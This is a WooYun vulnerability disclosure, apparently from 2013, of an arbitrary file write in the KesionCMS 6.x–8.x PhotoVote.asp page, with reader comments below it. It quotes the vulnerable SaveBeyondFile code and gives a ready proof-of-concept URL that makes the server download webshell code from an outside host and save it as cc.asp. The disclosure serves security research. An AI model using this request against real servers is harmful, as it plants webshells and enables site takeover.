当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019000

漏洞标题:科讯 6.x~8.x getshell 0day

相关厂商:KesionCMS

漏洞作者: My5t3ry

提交时间:2013-02-21 17:49

修复时间:2013-04-07 17:51

公开时间:2013-04-07 17:51

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-02-21: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-04-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

未对提交参数判断,导致可以写任意文件到服务器上...

详细说明:

Wap/Plus/PhotoVote.asp 14 - 23

Dim KS:Set KS=New PublicCls
Dim ID:ID = Replace(KS.S("ID")," ","")
Dim ChannelID:ChannelID=KS.G("ChannelID")
If ChannelID="" Then ChannelID=2
If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then
If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then
Response.write KS.G("LocalFileName")'错误提示
End If
End If
代码略……
'==================================================
'过程名:SaveBeyondFile
'作 用:保存远程的文件到本地
'参 数:LocalFileName ------ 本地文件名
'参 数:RemoteFileUrl ------ 远程文件URL
'==================================================
Function SaveBeyondFile(LocalFileName,RemoteFileUrl)
On Error Resume Next
SaveBeyondFile=True
dim Ads,Retrieval,GetRemoteData
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", RemoteFileUrl, False, "", ""
.Send
If .Readystate<>4 then
SaveBeyondFile=False
Exit Function
End If
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile server.MapPath(LocalFileName),2
.Cancel()
.Close()
End With
If Err.Number<>0 Then
Err.Clear
SaveBeyondFile=False
Exit Function
End If
Set Ads=nothing
End Function


上面的代码中这几句:
If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then
If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then
Response.write KS.G("LocalFileName")'错误提示
End If
End If
KS.G("LocalFileName")和KS.G("RemoteFileUrl")仅仅是判断是否为空并过滤一些SQL字符然后就写文件了!

漏洞证明:

登陆后访问:
http://www.t00ls.net/Wap/Plus/PhotoVote.asp?LocalFileName=cc.asp&RemoteFileUrl=http://www.bksec.net/1.txt
成功会在Wap/Plus下写入cc.asp,并返回文件名,其中的1.txt为shell代码。。

修复方案:

判断&过滤,你懂懂

版权声明:转载请注明来源 My5t3ry@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2013-02-21 19:19 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    getshell~ 马克

  2. 2013-02-21 19:24 | 逍遥 ( 普通白帽子 | Rank:127 漏洞数:40 | 屌丝一个,求基友!)

    马克

  3. 2013-02-21 19:28 | cnrstar ( 普通白帽子 | Rank:157 漏洞数:23 | Be my personal best!)

    直接getshell啊?命令执行?

  4. 2013-02-21 20:55 | My5t3ry ( 实习白帽子 | Rank:31 漏洞数:13 )

    @cnrstar 嗯 写文件